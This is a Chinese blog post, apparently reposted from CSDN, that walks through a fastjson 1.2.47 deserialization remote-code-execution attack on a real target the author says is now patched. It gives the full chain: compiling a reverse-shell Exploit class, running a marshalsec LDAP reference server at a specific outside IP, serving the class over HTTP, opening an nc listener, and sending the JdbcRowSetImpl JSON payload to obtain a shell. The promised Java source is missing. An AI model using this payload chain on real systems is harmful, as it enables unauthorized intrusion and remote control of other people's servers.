fastjson反序列化利用

这是对fastjson反序列化的一次利用,关键信息会进行打码处理,且对方此漏洞已修复。

首先确定下是否使用了fastjson

在使用了json传数据的地方,尝试用一些特殊符号打算json的结构,使程序报错。

 我们尝试利用fastjson的漏洞

参考及需要文件下载:https://github.com/CaijiOrz/fastjson-1.2.47-RCE/

将下载好的其中一个Exploit.java文件中的IP与端口换成自己远程服务器的IP和端口(端口是等下你要开NC监听的端口)

 首先利用jdk1.6的javac将Exploit.java文件编译成一个Exploit.class文件(这里先从低版本试起,因为要和目标服务器的jdk版本相同)

命令为javac Exploit.java

java文件内容如下:

将此文件放到公网服务器下,然后开启LDAP、Web及NC

开启LDAP服务:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar mahalsec.jndi.LDAPRefServer http://173.82.232.183/#Exploit

开启web服务:python3 -m http.server 80

开启nc监听7777端口:nc -lvvp 7777

然后将之前发现漏洞的传送json字符的参数值修改为

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xx.xx.xx.xx:1389/Exploit","autoCommit":true}

也有可能需要URL编码后再发送

1389是LDAP服务的端口

发送数据包后LDAP服务先得到响应

然后web端会下载此文件,也得到响应

最后NC端获得webshell

猜你喜欢

转载自blog.csdn.net/Jiajiajiang_/article/details/103255659